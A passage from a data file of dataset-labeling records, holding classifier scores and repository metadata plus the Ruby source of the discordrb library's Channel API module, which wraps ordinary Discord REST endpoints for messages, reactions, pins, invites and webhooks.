false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 11411, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 11411, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:31:11.378591+00:00", "scoring_key_slot": "primary", "dataset_uid": "5d26ab48-de8b-4608-a862-50b110dd2663", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "cb4b464dfc5d0b700c9c220f1a90ca9c325ce7d47d0b04bee8fa862cba651a41", "source_metadata": {"uuid": "5d26ab48-de8b-4608-a862-50b110dd2663", "repo_name": "GreenStraw/form_finger_nation", "relative_path": "spec/controllers/api/v1/parties_controller_spec.rb", "category": "TEST", "algo_rel_score": 0.8810016512870789, "quality_score": 6.538499355316162, "source_meta": {"github_metadata": {"branch": "master", "commit_count": 2430, "repo_created_at": "2015-05-27T09:29:17.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 1, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "34b50278cbbd233d01bc9ee204fd581e2c1b9099", "size_bytes": 10079, "file_timestamp": 1524426294, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "b9df973d55a5df87230dbeebc61ec45435dfd8a3"}}, "parsed_source_meta": {"github_metadata": {"branch": "master", "commit_count": 2430, "repo_created_at": "2015-05-27T09:29:17.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 1, "forks": 0, "issues": 0, "pull_requests": 0}, "file_meta": {"content_id": "34b50278cbbd233d01bc9ee204fd581e2c1b9099", "size_bytes": 10079, "file_timestamp": 1524426294, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "b9df973d55a5df87230dbeebc61ec45435dfd8a3", "url": "https://github.com/GreenStraw/form_finger_nation/blob/b9df973d55a5df87230dbeebc61ec45435dfd8a3/spec/controllers/api/v1/parties_controller_spec.rb"}, "gpt4o_tokens": 2749, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 0.9341954032904001, "noise_severity": 0.1234715929768436, "missing_content_severity": 0.10906030589049942, "factual_density": 3.2689708796733323, "pretraining_utility": 0.3184635385058718, "math_density": 0.0798166827609405, "code_density": 3.9395887031761077, "reasoning_density": 0.9520082176947857, "education_level": 2.539890779999631, "creative_writing_quality": -0.27543116138447293}, "score_applicability": {"education_level": 0.9987881742044094, "creative_writing_quality": 0.0008528871529043018}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/discordrb/discordrb/blob/777ccef511cadd3f4363f24fc164177bc6ff5406/lib/discordrb/api/channel.rb", "id": "ruby-0-ca6558c1bca6a6d612201504fdbb730a", "text": "# frozen_string_literal: true\n\n# API calls for Channel\nmodule Discordrb::API::Channel\n module_function\n\n # Get a channel's data\n # https://discordapp.com/developers/docs/resources/channel#get-channel\n def resolve(token, channel_id)\n Discordrb::API.request(\n :channels_cid,\n channel_id,\n :get,\n \"#{Discordrb::API.api_base}/channels/#{channel_id}\",\n Authorization: token\n )\n end\n\n # Update a channel's data\n # https://discordapp.com/developers/docs/resources/channel#modify-channel\n def update(token, channel_id, name, topic, position, bitrate, user_limit, nsfw, permission_overwrites = nil, parent_id = nil, rate_limit_per_user = nil, reason = nil)\n data = { name: name, position: position, topic: topic, bitrate: bitrate, user_limit: user_limit, nsfw: nsfw, parent_id: parent_id, rate_limit_per_user: rate_limit_per_user }\n data[:permission_overwrites] = permission_overwrites unless permission_overwrites.nil?\n Discordrb::API.request(\n :channels_cid,\n channel_id,\n :patch,\n \"#{Discordrb::API.api_base}/channels/#{channel_id}\",\n data.to_json,\n Authorization: token,\n content_type: :json,\n 'X-Audit-Log-Reason': reason\n )\n end\n\n # Delete a channel\n # https://discordapp.com/developers/docs/resources/channel#deleteclose-channel\n def delete(token, channel_id, reason = nil)\n Discordrb::API.request(\n :channels_cid,\n channel_id,\n :delete,\n \"#{Discordrb::API.api_base}/channels/#{channel_id}\",\n Authorization: token,\n 'X-Audit-Log-Reason': reason\n )\n end\n\n # Get a list of messages from a channel's history\n # https://discordapp.com/developers/docs/resources/channel#get-channel-messages\n def messages(token, channel_id, amount, before = nil, after = nil, around = nil)\n Discordrb::API.request(\n :channels_cid_messages,\n channel_id,\n :get,\n \"#{Discordrb::API.api_base}/channels/#{channel_id}/messages?limit=#{amount}#{\"&before=#{before}\" if before}#{\"&after=#{after}\" if after}#{\"&around=#{around}\" if around}\",\n Authorization: token\n )\n end\n\n # Get a single message from a channel's history by id\n # https://discordapp.com/developers/docs/resources/channel#get-channel-message\n def message(token, channel_id, message_id)\n Discordrb::API.request(\n :channels_cid_messages_mid,\n channel_id,\n :get,\n \"#{Discordrb::API.api_base}/channels/#{channel_id}/messages/#{message_id}\",\n Authorization: token\n )\n end\n\n # Send a message to a channel\n # https://discordapp.com/developers/docs/resources/channel#create-message\n def create_message(token, channel_id, message, tts = false, embed = nil, nonce = nil)\n Discordrb::API.request(\n :channels_cid_messages_mid,\n channel_id,\n :post,\n \"#{Discordrb::API.api_base}/channels/#{channel_id}/messages\",\n { content: message, tts: tts, embed: embed, nonce: nonce }.to_json,\n Authorization: token,\n content_type: :json\n )\n rescue RestClient::BadRequest => e\n parsed = JSON.parse(e.response.body)\n raise Discordrb::Errors::MessageTooLong, \"Message over the character limit (#{message.length} > 2000)\" if parsed['content']&.is_a?(Array) && parsed['content'].first == 'Must be 2000 or fewer in length.'\n\n raise\n end\n\n # Send a file as a message to a channel\n # https://discordapp.com/developers/docs/resources/channel#upload-file\n def upload_file(token, channel_id, file, caption: nil, tts: false)\n Discordrb::API.request(\n :channels_cid_messages_mid,\n channel_id,\n :post,\n \"#{Discordrb::API.api_base}/channels/#{channel_id}/messages\",\n { file: file, content: caption, tts: tts },\n Authorization: token\n )\n end\n\n # Edit a message\n # https://discordapp.com/developers/docs/resources/channel#edit-message\n def edit_message(token, channel_id, message_id, message, mentions = [], embed = nil)\n Discordrb::API.request(\n :channels_cid_messages_mid,\n channel_id,\n :patch,\n \"#{Discordrb::API.api_base}/channels/#{channel_id}/messages/#{message_id}\",\n { content: message, mentions: mentions, embed: embed }.to_json,\n Authorization: token,\n content_type: :json\n )\n end\n\n # Delete a message\n # https://discordapp.com/developers/docs/resources/channel#delete-message\n def delete_message(token, channel_id, message_id)\n Discordrb::API.request(\n :channels_cid_messages_mid,\n channel_id,\n :delete,\n \"#{Discordrb::API.api_base}/channels/#{channel_id}/messages/#{message_id}\",\n Authorization: token\n )\n end\n\n # Delete messages in bulk\n # https://discordapp.com/developers/docs/resources/channel#bulk-delete-messages\n def bulk_delete_messages(token, channel_id, messages = [])\n Discordrb::API.request(\n :channels_cid_messages_bulk_delete,\n channel_id,\n :post,\n \"#{Discordrb::API.api_base}/channels/#{channel_id}/messages/bulk-delete\",\n { messages: messages }.to_json,\n Authorization: token,\n content_type: :json\n )\n end\n\n # Create a reaction on a message using this client\n # https://discordapp.com/developers/docs/resources/channel#create-reaction\n def create_reaction(token, channel_id, message_id, emoji)\n emoji = URI.encode_www_form_component(emoji) unless emoji.ascii_only?\n Discordrb::API.request(\n :channels_cid_messages_mid_reactions_emoji_me,\n channel_id,\n :put,\n \"#{Discordrb::API.api_base}/channels/#{channel_id}/messages/#{message_id}/reactions/#{emoji}/@me\",\n nil,\n Authorization: token,\n content_type: :json\n )\n end\n\n # Delete this client's own reaction on a message\n # https://discordapp.com/developers/docs/resources/channel#delete-own-reaction\n def delete_own_reaction(token, channel_id, message_id, emoji)\n emoji = URI.encode_www_form_component(emoji) unless emoji.ascii_only?\n Discordrb::API.request(\n :channels_cid_messages_mid_reactions_emoji_me,\n channel_id,\n :delete,\n \"#{Discordrb::API.api_base}/channels/#{channel_id}/messages/#{message_id}/reactions/#{emoji}/@me\",\n Authorization: token\n )\n end\n\n # Delete another client's reaction on a message\n # https://discordapp.com/developers/docs/resources/channel#delete-user-reaction\n def delete_user_reaction(token, channel_id, message_id, emoji, user_id)\n emoji = URI.encode_www_form_component(emoji) unless emoji.ascii_only?\n Discordrb::API.request(\n :channels_cid_messages_mid_reactions_emoji_uid,\n channel_id,\n :delete,\n \"#{Discordrb::API.api_base}/channels/#{channel_id}/messages/#{message_id}/reactions/#{emoji}/#{user_id}\",\n Authorization: token\n )\n end\n\n # Get a list of clients who reacted with a specific reaction on a message\n # https://discordapp.com/developers/docs/resources/channel#get-reactions\n def get_reactions(token, channel_id, message_id, emoji, before_id, after_id, limit = 100)\n emoji = URI.encode_www_form_component(emoji) unless emoji.ascii_only?\n query_string = \"limit=#{limit}#{\"&before=#{before_id}\" if before_id}#{\"&after=#{after_id}\" if after_id}\"\n Discordrb::API.request(\n :channels_cid_messages_mid_reactions_emoji,\n channel_id,\n :get,\n \"#{Discordrb::API.api_base}/channels/#{channel_id}/messages/#{message_id}/reactions/#{emoji}?#{query_string}\",\n Authorization: token\n )\n end\n\n # Deletes all reactions on a message from all clients\n # https://discordapp.com/developers/docs/resources/channel#delete-all-reactions\n def delete_all_reactions(token, channel_id, message_id)\n Discordrb::API.request(\n :channels_cid_messages_mid_reactions,\n channel_id,\n :delete,\n \"#{Discordrb::API.api_base}/channels/#{channel_id}/messages/#{message_id}/reactions\",\n Authorization: token\n )\n end\n\n # Update a channels permission for a role or member\n # https://discordapp.com/developers/docs/resources/channel#edit-channel-permissions\n def update_permission(token, channel_id, overwrite_id, allow, deny, type, reason = nil)\n Discordrb::API.request(\n :channels_cid_permissions_oid,\n channel_id,\n :put,\n \"#{Discordrb::API.api_base}/channels/#{channel_id}/permissions/#{overwrite_id}\",\n { type: type, id: overwrite_id, allow: allow, deny: deny }.to_json,\n Authorization: token,\n content_type: :json,\n 'X-Audit-Log-Reason': reason\n )\n end\n\n # Get a channel's invite list\n # https://discordapp.com/developers/docs/resources/channel#get-channel-invites\n def invites(token, channel_id)\n Discordrb::API.request(\n :channels_cid_invites,\n channel_id,\n :get,\n \"#{Discordrb::API.api_base}/channels/#{channel_id}/invites\",\n Authorization: token\n )\n end\n\n # Create an instant invite from a server or a channel id\n # https://discordapp.com/developers/docs/resources/channel#create-channel-invite\n def create_invite(token, channel_id, max_age = 0, max_uses = 0, temporary = false, unique = false, reason = nil)\n Discordrb::API.request(\n :channels_cid_invites,\n channel_id,\n :post,\n \"#{Discordrb::API.api_base}/channels/#{channel_id}/invites\",\n { max_age: max_age, max_uses: max_uses, temporary: temporary, unique: unique }.to_json,\n Authorization: token,\n content_type: :json,\n 'X-Audit-Log-Reason': reason\n )\n end\n\n # Delete channel permission\n # https://discordapp.com/developers/docs/resources/channel#delete-channel-permission\n def delete_permission(token, channel_id, overwrite_id, reason = nil)\n Discordrb::API.request(\n :channels_cid_permissions_oid,\n channel_id,\n :delete,\n \"#{Discordrb::API.api_base}/channels/#{channel_id}/permissions/#{overwrite_id}\",\n Authorization: token,\n 'X-Audit-Log-Reason': reason\n )\n end\n\n # Start typing (needs to be resent every 5 seconds to keep up the typing)\n # https://discordapp.com/developers/docs/resources/channel#trigger-typing-indicator\n def start_typing(token, channel_id)\n Discordrb::API.request(\n :channels_cid_typing,\n channel_id,\n :post,\n \"#{Discordrb::API.api_base}/channels/#{channel_id}/typing\",\n nil,\n Authorization: token\n )\n end\n\n # Get a list of pinned messages in a channel\n # https://discordapp.com/developers/docs/resources/channel#get-pinned-messages\n def pinned_messages(token, channel_id)\n Discordrb::API.request(\n :channels_cid_pins,\n channel_id,\n :get,\n \"#{Discordrb::API.api_base}/channels/#{channel_id}/pins\",\n Authorization: token\n )\n end\n\n # Pin a message\n # https://discordapp.com/developers/docs/resources/channel#add-pinned-channel-message\n def pin_message(token, channel_id, message_id)\n Discordrb::API.request(\n :channels_cid_pins_mid,\n channel_id,\n :put,\n \"#{Discordrb::API.api_base}/channels/#{channel_id}/pins/#{message_id}\",\n nil,\n Authorization: token\n )\n end\n\n # Unpin a message\n # https://discordapp.com/developers/docs/resources/channel#delete-pinned-channel-message\n def unpin_message(token, channel_id, message_id)\n Discordrb::API.request(\n :channels_cid_pins_mid,\n channel_id,\n :delete,\n \"#{Discordrb::API.api_base}/channels/#{channel_id}/pins/#{message_id}\",\n Authorization: token\n )\n end\n\n # Create an empty group channel.\n def create_empty_group(token, bot_user_id)\n Discordrb::API.request(\n :users_uid_channels,\n nil,\n :post,\n \"#{Discordrb::API.api_base}/users/#{bot_user_id}/channels\",\n {}.to_json,\n Authorization: token,\n content_type: :json\n )\n end\n\n # Create a group channel.\n def create_group(token, pm_channel_id, user_id)\n Discordrb::API.request(\n :channels_cid_recipients_uid,\n nil,\n :put,\n \"#{Discordrb::API.api_base}/channels/#{pm_channel_id}/recipients/#{user_id}\",\n {}.to_json,\n Authorization: token,\n content_type: :json\n )\n rescue RestClient::InternalServerError\n raise 'Attempted to add self as a new group channel recipient!'\n rescue RestClient::NoContent\n raise 'Attempted to create a group channel with the PM channel recipient!'\n rescue RestClient::Forbidden\n raise 'Attempted to add a user to group channel without permission!'\n end\n\n # Add a user to a group channel.\n def add_group_user(token, group_channel_id, user_id)\n Discordrb::API.request(\n :channels_cid_recipients_uid,\n nil,\n :put,\n \"#{Discordrb::API.api_base}/channels/#{group_channel_id}/recipients/#{user_id}\",\n {}.to_json,\n Authorization: token,\n content_type: :json\n )\n end\n\n # Remove a user from a group channel.\n def remove_group_user(token, group_channel_id, user_id)\n Discordrb::API.request(\n :channels_cid_recipients_uid,\n nil,\n :delete,\n \"#{Discordrb::API.api_base}/channels/#{group_channel_id}/recipients/#{user_id}\",\n Authorization: token,\n content_type: :json\n )\n end\n\n # Leave a group channel.\n def leave_group(token, group_channel_id)\n Discordrb::API.request(\n :channels_cid,\n nil,\n :delete,\n \"#{Discordrb::API.api_base}/channels/#{group_channel_id}\",\n Authorization: token,\n content_type: :json\n )\n end\n\n # Create a webhook\n # https://discordapp.com/developers/docs/resources/webhook#create-webhook\n def create_webhook(token, channel_id, name, avatar = nil, reason = nil)\n Discordrb::API.request(\n :channels_cid_webhooks,\n channel_id,\n :post,\n \"#{Discordrb::API.api_base}/channels/#{channel_id}/webhooks\",\n { name: name, avatar: avatar }.to_json,\n Authorization: token,\n content_type: :json,\n 'X-Audit-Log-Reason': reason\n )\n end\n\n # Get channel webhooks\n # https://discordapp.com/developers/docs/resources/webhook#get-channel-webhooks\n def webhooks(token, channel_id)\n Discordrb::API.request(\n :channels_cid_webhooks,\n channel_id,\n :get,\n \"#{Discordrb::API.api_base}/channels/#{channel_id}/webhooks\",\n Authorization: token\n )\n end\nend\n", "text_preview": "# frozen_string_literal: true # API calls for Channel module Discordrb::API::Channel module_function # Get a channel's data # https://discordapp.com/developers/docs/resources/channel#get-channel def resolve(token, channel_id) Discordrb::API", "input_sha256": "596350af2fcc5ba50d7f90afcd6c225242c0b379a224348e9f440e2c708137a0", "text_sha256": "ca6558c1bca6a6d612201504fdbb730a281afcd2106e7911af6a0e5342b48ba3", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16039, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 4, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.296290294691572, "noise_severity": 0.052339007356150484, "missing_content_severity": 0.011755202549384365, "factual_density": 3.5472456589989756, "pretraining_utility": 0.5531594583479869, "math_density": 0.015659515258371667, "code_density": 3.925234043139193, "reasoning_density": 0.19452186202132557, "education_level": 2.329381721490092, "creative_writing_quality": -0.1749897741103926}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.01005991298320641, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9978711485133329, "secondary": 0.9759138095623092, "tertiary": 0.9864111100665247, "structured_records": 0.1349484961969537, "procedural_steps": 0.003211704214521163, "worked_solution": 0.0009043011357252117, "contextual_dialogue": 5.168829172610649e-06, "content_quality": 0.5773306721578533, "noise_severity": 0.9563841605365413, "missing_content_severity": 0.990203997875513, "factual_density": 0.6227047158324794, "pretraining_utility": 0.48306374132707974, "math_density": 0.9869504039513569, "code_density": 0.9376950359493278, "reasoning_density": 0.837898448315562, "education_level": 0.6301796596686663, "creative_writing_quality": 0.9993783674555305, "primary_topic": 0.9926259352790912, "secondary_topic": 0.9437770291696188}, "probability_margin": {"primary": 0.9971561081557142, "secondary": 0.9663538114747646, "tertiary": 0.9823806623668822, "education_level": 0.4498927047131579, "creative_writing_quality": 0.9992222439603153, "primary_topic": 0.9895609450340744, "secondary_topic": 0.926721150411533}, "raw_probabilities": {"primary": {"Academic Writing": 1.9714212057932776e-05, "Content Listing": 3.895103028671017e-05, "Creative Writing": 7.676637687453424e-06, "Customer Support Page": 1.5404483239863523e-05, "Q&A Forum": 6.108610930896613e-06, "Discussion Thread": 4.678194999329289e-06, "Comment Section": 7.0509109165911925e-06, "Missing Content": 1.3734115622526521e-05, "Knowledge Article": 9.073922668090918e-05, "Legal Notices": 1.7859665794679188e-05, "News Article": 2.6976048183909355e-06, "Organizational Announcement": 8.025311319589605e-06, "Nonfiction Writing": 5.5261222720680166e-06, "Organizational About Page": 7.510696490524591e-06, "Personal About Page": 5.429399812871506e-06, "Personal Blog": 4.7234983808212385e-06, "Product Page": 5.870337402412794e-06, "Spam / Ads": 6.134262436776097e-06, "Structured Data": 0.0008037425028964808, "Technical Writing": 0.9979598506586107, "Transcript / Interview": 1.0157214530503548e-05, "Tutorial / How-To Guide": 0.00026341677922326646, "User Reviews": 4.026952989120998e-06, "Other / Unknown": 0.0006909715705995495}, "secondary": {"Academic Writing": 0.00016663198810324924, "Content Listing": 0.0007413508450854891, "Creative Writing": 0.00011641749314239784, "Customer Support Page": 0.0002405911919983613, "Q&A Forum": 5.47179469925418e-05, "Discussion Thread": 4.355046017462976e-05, "Comment Section": 0.00016795803907652254, "Missing Content": 0.00025390152812751205, "Knowledge Article": 0.0013415925845215487, "Legal Notices": 0.00023366403489606124, "News Article": 7.690533761050894e-05, "Organizational Announcement": 7.780875675492599e-05, "Nonfiction Writing": 6.1004569624358066e-05, "Organizational About Page": 8.800283609003431e-05, "Personal About Page": 6.858849636175804e-05, "Personal Blog": 6.593553495287926e-05, "Product Page": 5.403385975801211e-05, "Spam / Ads": 8.46153193963561e-05, "Structured Data": 0.00728191119018739, "Technical Writing": 0.010563589355781746, "Transcript / Interview": 9.63508518192084e-05, "Tutorial / How-To Guide": 0.0011664654312944455, "User Reviews": 3.701151770363884e-05, "NONE": 0.9769174008305463}, "tertiary": {"Academic Writing": 8.891740708279165e-05, "Content Listing": 0.0011313952917669256, "Creative Writing": 6.95983890751318e-05, "Customer Support Page": 0.00014569643691566205, "Q&A Forum": 3.357622075616739e-05, "Discussion Thread": 2.678194982076716e-05, "Comment Section": 0.00016140426966359167, "Missing Content": 0.0003698267869869606, "Knowledge Article": 0.0009883547647595503, "Legal Notices": 0.00023393240016910283, "News Article": 5.3493962395062485e-05, "Organizational Announcement": 4.9007569355211564e-05, "Nonfiction Writing": 4.54095872659369e-05, "Organizational About Page": 6.800978119185054e-05, "Personal About Page": 3.903821668511367e-05, "Personal Blog": 3.606250029099753e-05, "Product Page": 4.004715326005548e-05, "Spam / Ads": 6.227375912918882e-05, "Structured Data": 0.003429935628756834, "Technical Writing": 0.0045966514468707585, "Transcript / Interview": 5.121649744937982e-05, "Tutorial / How-To Guide": 0.0012782798146314606, "User Reviews": 2.3776351968693513e-05, "NONE": 0.9869773138137529}, "structured_records": {"false": 0.8650515038030463, "true": 0.1349484961969537}, "procedural_steps": {"false": 0.9967882957854788, "true": 0.003211704214521163}, "worked_solution": {"false": 0.9990956988642747, "true": 0.0009043011357252117}, "contextual_dialogue": {"false": 0.9999948311708274, "true": 5.168829172610649e-06}, "content_quality": {"-2": 0.0028041105443602963, "-1": 0.006850463769777217, "0": 0.08334319018686673, "1": 0.5052554914479218, "2": 0.40174674405107397}, "noise_severity": {"0": 0.9516850067154117, "1": 0.045727427974454046, "2": 0.0016030931334995134, "3": 0.0005324955918423351, "4": 0.0004519765847926033}, "missing_content_severity": {"0": 0.9935602519323569, "1": 0.002596304694629744, "2": 0.002600222249266641, "3": 0.001014431138766189, "4": 0.00022878998498069365}, "factual_density": {"0": 0.0023302850639201674, "1": 0.006463345019387529, "2": 0.07384557963811404, "3": 0.2763520064109533, "4": 0.6410087838676249}, "pretraining_utility": {"-2": 0.00894810409899956, "-1": 0.0797594404538065, "0": 0.34721883282514704, "1": 0.4773321382443012, "2": 0.08674148437774565}, "math_density": {"0": 0.9888506311271982, "1": 0.009054182723713508, "2": 0.0006941698500425381, "3": 0.0003870723616105948, "4": 0.0010139439374353253}, "code_density": {"0": 0.00020375356731139766, "1": 0.00035733291101997834, "2": 0.006372472217618055, "3": 0.06013399942326495, "4": 0.9329324418807855}, "reasoning_density": {"0": 0.8526448889892155, "1": 0.10495440218317276, "2": 0.03871675967962025, "3": 0.002601856113053321, "4": 0.0010820930349380803}, "education_level": {"none": 0.0009897745234915141, "0": 0.0013501669183092475, "1": 0.012669210322538139, "2": 0.6918163830572219, "3": 0.241923678344064, "4": 0.05125078683437503}, "creative_writing_quality": {"not_applicable": 0.9994819728796088, "-2": 5.636758029656163e-05, "-1": 0.00010390662584774427, "0": 0.000259728919293477, "1": 7.005565224617614e-05, "2": 2.7968342707193255e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.399083890439232e-05, "Art & Design": 3.564598355878252e-05, "Law & Crime": 2.5950842459385318e-05, "Education & Careers": 3.495487767599445e-05, "Entertainment & Media": 0.0001907359861782144, "Fashion & Beauty": 1.756826339205676e-05, "Business, Economics & Finance": 4.1944392789197635e-05, "Food & Dining": 1.797619750353538e-05, "Games & Gaming": 0.0033486081188977795, "Electronics & Hardware": 3.64836657181663e-05, "Health, Healthcare & Wellness": 1.6168343911817568e-05, "History & Geography": 2.3099048684330432e-05, "Home, Pets & Hobbies": 1.7600906123152616e-05, "Industry & Production": 1.868334111557538e-05, "Language, Literature & Philosophy": 3.20068047052081e-05, "Politics & Government": 1.746832390423024e-05, "Religion & Spirituality": 2.9354405503351658e-05, "Science, Mathematics & Engineering": 5.0479335156308504e-05, "Relationships & Community": 0.0006865451190951641, "Software Usage & Applications": 0.0021572456548322747, "Programming & Software Engineering": 0.9929095531529722, "Sports & Fitness": 3.688581766777404e-05, "Vehicles & Transportation": 1.387729725952979e-05, "Travel & Tourism": 3.211718648944134e-05, "Other / Uncovered Subject": 0.00013515355727724545, "Unknown / Insufficient Content": 3.990253822495674e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0005805283869224746, "Art & Design": 0.0003065205944857127, "Law & Crime": 0.00034408439514831796, "Education & Careers": 0.00026358930027464895, "Entertainment & Media": 0.0027349183905784427, "Fashion & Beauty": 0.00015446108025544535, "Business, Economics & Finance": 0.0003547665094602608, "Food & Dining": 0.0001149798697927549, "Games & Gaming": 0.01921830071310046, "Electronics & Hardware": 0.0002069082137182532, "Health, Healthcare & Wellness": 0.00012445093715827472, "History & Geography": 0.00015398579506452183, "Home, Pets & Hobbies": 0.00012527238937276326, "Industry & Production": 0.0001051918609336948, "Language, Literature & Philosophy": 0.00016302645590236703, "Politics & Government": 0.00015629210282509413, "Religion & Spirituality": 0.0001680743946848909, "Science, Mathematics & Engineering": 0.00023599999736618592, "Relationships & Community": 0.0032150712813983776, "Software Usage & Applications": 0.012147909350998744, "Programming & Software Engineering": 0.012321255056956566, "Sports & Fitness": 0.00015086515147891575, "Vehicles & Transportation": 6.162602986265919e-05, "Travel & Tourism": 0.00023373951526095362, "Other / Uncovered Subject": 0.00041873110236560605, "NONE": 0.9459394511246335}}, "probabilities": {"primary": {"Academic Writing": 1.9714212057932776e-05, "Content Listing": 3.895103028671017e-05, "Creative Writing": 7.676637687453424e-06, "Customer Support Page": 1.5404483239863523e-05, "Q&A Forum": 6.108610930896613e-06, "Discussion Thread": 4.678194999329289e-06, "Comment Section": 7.0509109165911925e-06, "Missing Content": 1.3734115622526521e-05, "Knowledge Article": 9.073922668090918e-05, "Legal Notices": 1.7859665794679188e-05, "News Article": 2.6976048183909355e-06, "Organizational Announcement": 8.025311319589605e-06, "Nonfiction Writing": 5.5261222720680166e-06, "Organizational About Page": 7.510696490524591e-06, "Personal About Page": 5.429399812871506e-06, "Personal Blog": 4.7234983808212385e-06, "Product Page": 5.870337402412794e-06, "Spam / Ads": 6.134262436776097e-06, "Structured Data": 0.0008037425028964808, "Technical Writing": 0.9979598506586107, "Transcript / Interview": 1.0157214530503548e-05, "Tutorial / How-To Guide": 0.00026341677922326646, "User Reviews": 4.026952989120998e-06, "Other / Unknown": 0.0006909715705995495}, "secondary": {"Academic Writing": 0.00016663198810324927, "Content Listing": 0.0007413508450854892, "Creative Writing": 0.00011641749314239786, "Customer Support Page": 0.00024059119199836132, "Q&A Forum": 5.471794699254181e-05, "Discussion Thread": 4.355046017462977e-05, "Comment Section": 0.00016795803907652257, "Missing Content": 0.0002539015281275121, "Knowledge Article": 0.001341592584521549, "Legal Notices": 0.00023366403489606126, "News Article": 7.690533761050895e-05, "Organizational Announcement": 7.7808756754926e-05, "Nonfiction Writing": 6.100456962435807e-05, "Organizational About Page": 8.800283609003433e-05, "Personal About Page": 6.858849636175805e-05, "Personal Blog": 6.593553495287927e-05, "Product Page": 5.4033859758012115e-05, "Spam / Ads": 8.461531939635611e-05, "Structured Data": 0.007281911190187391, "Technical Writing": 0.010563589355781748, "Transcript / Interview": 9.635085181920842e-05, "Tutorial / How-To Guide": 0.0011664654312944457, "User Reviews": 3.7011517703638844e-05, "NONE": 0.9769174008305465}, "tertiary": {"Academic Writing": 8.891740708279165e-05, "Content Listing": 0.0011313952917669256, "Creative Writing": 6.95983890751318e-05, "Customer Support Page": 0.00014569643691566205, "Q&A Forum": 3.357622075616739e-05, "Discussion Thread": 2.678194982076716e-05, "Comment Section": 0.00016140426966359167, "Missing Content": 0.0003698267869869606, "Knowledge Article": 0.0009883547647595503, "Legal Notices": 0.00023393240016910283, "News Article": 5.3493962395062485e-05, "Organizational Announcement": 4.9007569355211564e-05, "Nonfiction Writing": 4.54095872659369e-05, "Organizational About Page": 6.800978119185054e-05, "Personal About Page": 3.903821668511367e-05, "Personal Blog": 3.606250029099753e-05, "Product Page": 4.004715326005548e-05, "Spam / Ads": 6.227375912918882e-05, "Structured Data": 0.003429935628756834, "Technical Writing": 0.0045966514468707585, "Transcript / Interview": 5.121649744937982e-05, "Tutorial / How-To Guide": 0.0012782798146314606, "User Reviews": 2.3776351968693513e-05, "NONE": 0.9869773138137529}, "structured_records": {"false": 0.8650515038030463, "true": 0.1349484961969537}, "procedural_steps": {"false": 0.9967882957854788, "true": 0.003211704214521163}, "worked_solution": {"false": 0.9990956988642747, "true": 0.0009043011357252117}, "contextual_dialogue": {"false": 0.9999948311708274, "true": 5.168829172610649e-06}, "content_quality": {"-2": 0.0028041105443602963, "-1": 0.006850463769777217, "0": 0.08334319018686673, "1": 0.5052554914479218, "2": 0.40174674405107397}, "noise_severity": {"0": 0.9516850067154115, "1": 0.04572742797445404, "2": 0.001603093133499513, "3": 0.000532495591842335, "4": 0.0004519765847926032}, "missing_content_severity": {"0": 0.9935602519323566, "1": 0.0025963046946297437, "2": 0.0026002222492666404, "3": 0.0010144311387661887, "4": 0.0002287899849806936}, "factual_density": {"0": 0.0023302850639201674, "1": 0.006463345019387529, "2": 0.07384557963811404, "3": 0.2763520064109533, "4": 0.6410087838676249}, "pretraining_utility": {"-2": 0.00894810409899956, "-1": 0.0797594404538065, "0": 0.34721883282514704, "1": 0.4773321382443012, "2": 0.08674148437774565}, "math_density": {"0": 0.988850631127198, "1": 0.009054182723713507, "2": 0.000694169850042538, "3": 0.0003870723616105947, "4": 0.0010139439374353251}, "code_density": {"0": 0.0002037535673113977, "1": 0.0003573329110199784, "2": 0.006372472217618056, "3": 0.06013399942326496, "4": 0.9329324418807856}, "reasoning_density": {"0": 0.8526448889892156, "1": 0.10495440218317277, "2": 0.03871675967962026, "3": 0.0026018561130533215, "4": 0.0010820930349380805}, "education_level": {"none": 0.0009897745234915144, "0": 0.0013501669183092477, "1": 0.01266921032253814, "2": 0.691816383057222, "3": 0.24192367834406403, "4": 0.051250786834375034}, "creative_writing_quality": {"not_applicable": 0.9994819728796088, "-2": 5.636758029656163e-05, "-1": 0.00010390662584774427, "0": 0.000259728919293477, "1": 7.005565224617614e-05, "2": 2.7968342707193255e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 3.3990838904392315e-05, "Art & Design": 3.5645983558782517e-05, "Law & Crime": 